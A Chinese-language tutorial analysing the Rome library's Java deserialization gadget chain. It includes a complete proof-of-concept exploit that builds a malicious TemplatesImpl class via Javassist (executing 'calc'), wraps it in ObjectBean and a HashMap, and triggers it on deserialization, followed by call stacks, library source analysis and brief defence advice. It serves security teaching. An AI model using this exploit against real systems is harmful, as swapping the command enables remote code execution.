Java安全之Rome链分析与利用
字数 1453 2025-08-23 18:31:24
Java安全之Rome链分析与利用教学文档
一、Rome框架简介
Rome是一个用于处理RSS和Atom订阅的Java框架,具有以下特点:
- 开源项目,基于Apache 2.0许可证
- 提供解析器和生成器,支持多种订阅格式
- 包含格式转换功能
- 可返回特定格式的Java对象或通用的SyndFeed类
官方文档:https://rometools.github.io/rome/
二、漏洞利用关键类
1. 可利用类
ObjectBeanEqualsBeanToStringBean
2. 关键方法分析
ToStringBean.toString()
- 功能:接收一个类,获取该类的set/get方法,并使用invoke调用
- 利用点:可通过反射调用任意方法
EqualsBean.beanHashCode()
- 功能:同样具有通过反射调用方法的能力
三、环境准备
1. 依赖配置
<dependency>
<groupId>rome</groupId>
<artifactId>rome</artifactId>
<version>1.0</version>
</dependency>
2. 利用链分析
完整利用链:
TemplatesImpl.getOutputProperties()
ToStringBean.toString(String)
ToStringBean.toString()
EqualsBean.beanHashCode()
EqualsBean.hashCode()
ObjectBean.hashCode()
HashMap<K,V>.hash(Object)
HashMap<K,V>.readObject(ObjectInputStream)
四、漏洞利用实现
1. EXP代码分析
package RomeSec;
import com.sun.syndication.feed.impl.ObjectBean;
import com.sun.syndication.feed.impl.ToStringBean;
import javassist.ClassPool;
import javassist.CtClass;
import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.Field;
import java.util.HashMap;
public class ObjectBeanExp {
public static void main(String[] args) throws Exception {
String AbstractTranslet = "com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet";
String TemplatesImpl = "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl";
// 创建恶意类
ClassPool classPool = ClassPool.getDefault();
classPool.appendClassPath(AbstractTranslet);
CtClass payload = classPool.makeClass("dddd");
payload.setSuperclass(classPool.get(AbstractTranslet));
payload.makeClassInitializer().setBody("java.lang.Runtime.getRuntime().exec(\"calc\");");
byte[] bytes = payload.toBytecode();
// 创建TemplatesImpl对象
Object templateImpl = Class.forName(TemplatesImpl).getDeclaredConstructor(new Class[]{}).newInstance();
setFiled(templateImpl, "_bytecodes", new byte[][]{bytes});
setFiled(templateImpl, "_name", "test");
setFiled(templateImpl, "_tfactory", null);
// 创建ToStringBean对象
ToStringBean toStringBean = new ToStringBean(Templates.class, templateImpl);
// 创建ObjectBean对象
ObjectBean objectBean = new ObjectBean(ToStringBean.class, toStringBean);
setFiled(objectBean, "_toStringBean", null);
setFiled(objectBean, "_cloneableBean", null);
// 创建hashMap
HashMap<Object, Object> hashMap = new HashMap<>();
hashMap.put(objectBean, "aaaa");
// 序列化
ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("ObjectBean.bin"));
objectOutputStream.writeObject(hashMap);
objectOutputStream.close();
// 反序列化
ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream("ObjectBean.bin"));
objectInputStream.readObject();
objectInputStream.close();
}
public static void setFiled(Object o, String fieldname, Object value) throws Exception {
Field field = o.getClass().getDeclaredField(fieldname);
field.setAccessible(true);
field.set(o, value);
}
}
2. 关键步骤解析
-
恶意类构造:
- 使用Javassist创建继承自AbstractTranslet的类
- 在类初始化器中插入执行命令的代码
-
TemplatesImpl对象配置:
- 设置
_bytecodes为恶意类字节码 - 设置
_name为任意字符串 - 设置
_tfactory为null
- 设置
-
ToStringBean构造:
- 将TemplatesImpl对象包装在ToStringBean中
- 指定Templates.class作为目标类
-
ObjectBean构造:
- 将ToStringBean对象包装在ObjectBean中
- 清空内部bean引用
-
触发点:
- 将ObjectBean对象放入HashMap
- 通过HashMap的反序列化触发整个调用链
3. 函数调用栈
exec:347, Runtime (java.lang)
<clinit>:-1, dddd
newInstance0:-1, NativeConstructorAccessorImpl (sun.reflect)
newInstance:62, NativeConstructorAccessorImpl (sun.reflect)
newInstance:45, DelegatingConstructorAccessorImpl (sun.reflect)
newInstance:422, Constructor (java.lang.reflect)
newInstance:442, Class (java.lang)
getTransletInstance:455, TemplatesImpl (com.sun.org.apache.xalan.internal.xsltc.trax)
newTransformer:486, TemplatesImpl (com.sun.org.apache.xalan.internal.xsltc.trax)
getOutputProperties:507, TemplatesImpl (com.sun.org.apache.xalan.internal.xsltc.trax)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:497, Method (java.lang.reflect)
toString:137, ToStringBean (com.sun.syndication.feed.impl)
toString:116, ToStringBean (com.sun.syndication.feed.impl)
beanHashCode:193, EqualsBean (com.sun.syndication.feed.impl)
hashCode:110, ObjectBean (com.sun.syndication.feed.impl)
hash:338, HashMap (java.util)
readObject:1397, HashMap (java.util)
五、详细技术分析
1. 触发点分析
从HashMap.readObject()开始:
- 反序列化时,HashMap会计算每个键的hashCode
- 当key为ObjectBean对象时,会调用其hashCode方法
2. ObjectBean.hashCode()调用链
-
ObjectBean.hashCode():
- 调用EqualsBean的hashCode方法
-
EqualsBean.hashCode():
- 调用beanHashCode方法
-
EqualsBean.beanHashCode():
- 调用ToStringBean的toString方法
-
ToStringBean.toString():
- 最终调用TemplatesImpl的getOutputProperties方法
3. ToStringBean.toString()关键逻辑
private String toString(String prefix) {
StringBuffer sb = new StringBuffer(128);
try {
// 获取属性描述符数组
PropertyDescriptor[] pds = BeanIntrospector.getPropertyDescriptors(this._beanClass);
if (pds != null) {
// 遍历属性描述符
for (int i = 0; i < pds.length; ++i) {
String pName = pds[i].getName();
Method pReadMethod = pds[i].getReadMethod();
if (pReadMethod != null &&
pReadMethod.getDeclaringClass() != Object.class &&
pReadMethod.getParameterTypes().length == 0) {
// 反射调用getter方法
Object value = pReadMethod.invoke(this._obj, NO_PARAMS);
this.printProperty(sb, prefix + "." + pName, value);
}
}
}
} catch (Exception var8) {
sb.append("\n\nEXCEPTION: Could not complete " +
this._obj.getClass() + ".toString(): " +
var8.getMessage() + "\n");
}
return sb.toString();
}
4. BeanIntrospector.getPropertyDescriptors()
public static synchronized PropertyDescriptor[] getPropertyDescriptors(Class klass)
throws IntrospectionException {
PropertyDescriptor[] descriptors = (PropertyDescriptor[]) _introspected.get(klass);
if (descriptors == null) {
descriptors = getPDs(klass);
_introspected.put(klass, descriptors);
}
return descriptors;
}
5. getPDs方法解析
private static PropertyDescriptor[] getPDs(Class klass) throws IntrospectionException {
Method[] methods = klass.getMethods();
Map getters = getPDs(methods, false); // 获取getter方法
Map setters = getPDs(methods, true); // 获取setter方法
List pds = merge(getters, setters); // 合并结果
PropertyDescriptor[] array = new PropertyDescriptor[pds.size()];
pds.toArray(array);
return array;
}
6. 属性描述符获取逻辑
private static Map getPDs(Method[] methods, boolean setters) throws IntrospectionException {
Map pds = new HashMap();
for (int i = 0; i < methods.length; ++i) {
String pName = null;
PropertyDescriptor pDescriptor = null;
if ((methods[i].getModifiers() & 1) != 0) { // 检查是否为public方法
if (setters) {
// 处理setter方法
if (methods[i].getName().startsWith("set") &&
methods[i].getReturnType() == Void.TYPE &&
methods[i].getParameterTypes().length == 1) {
pName = Introspector.decapitalize(methods[i].getName().substring(3));
pDescriptor = new PropertyDescriptor(pName, null, methods[i]);
}
} else {
// 处理getter方法
if (methods[i].getName().startsWith("get") &&
methods[i].getReturnType() != Void.TYPE &&
methods[i].getParameterTypes().length == 0) {
pName = Introspector.decapitalize(methods[i].getName().substring(3));
pDescriptor = new PropertyDescriptor(pName, methods[i], null);
}
// 处理is方法
else if (methods[i].getName().startsWith("is") &&
methods[i].getReturnType() == Boolean.TYPE &&
methods[i].getParameterTypes().length == 0) {
pName = Introspector.decapitalize(methods[i].getName().substring(2));
pDescriptor = new PropertyDescriptor(pName, methods[i], null);
}
}
}
if (pName != null) {
pds.put(pName, pDescriptor);
}
}
return pds;
}
六、防御建议
- 升级Rome框架到最新安全版本
- 对反序列化操作进行严格限制
- 使用安全管理器限制危险操作
- 对输入数据进行严格验证
七、总结
Rome链利用的核心在于:
- 通过ObjectBean/EqualsBean/ToStringBean的链式调用
- 利用JavaBean的内省机制反射调用getter方法
- 最终触发TemplatesImpl的getOutputProperties方法执行恶意代码
理解这条利用链需要对Java反序列化、反射机制和内省机制有深入理解,是学习Java安全的重要案例。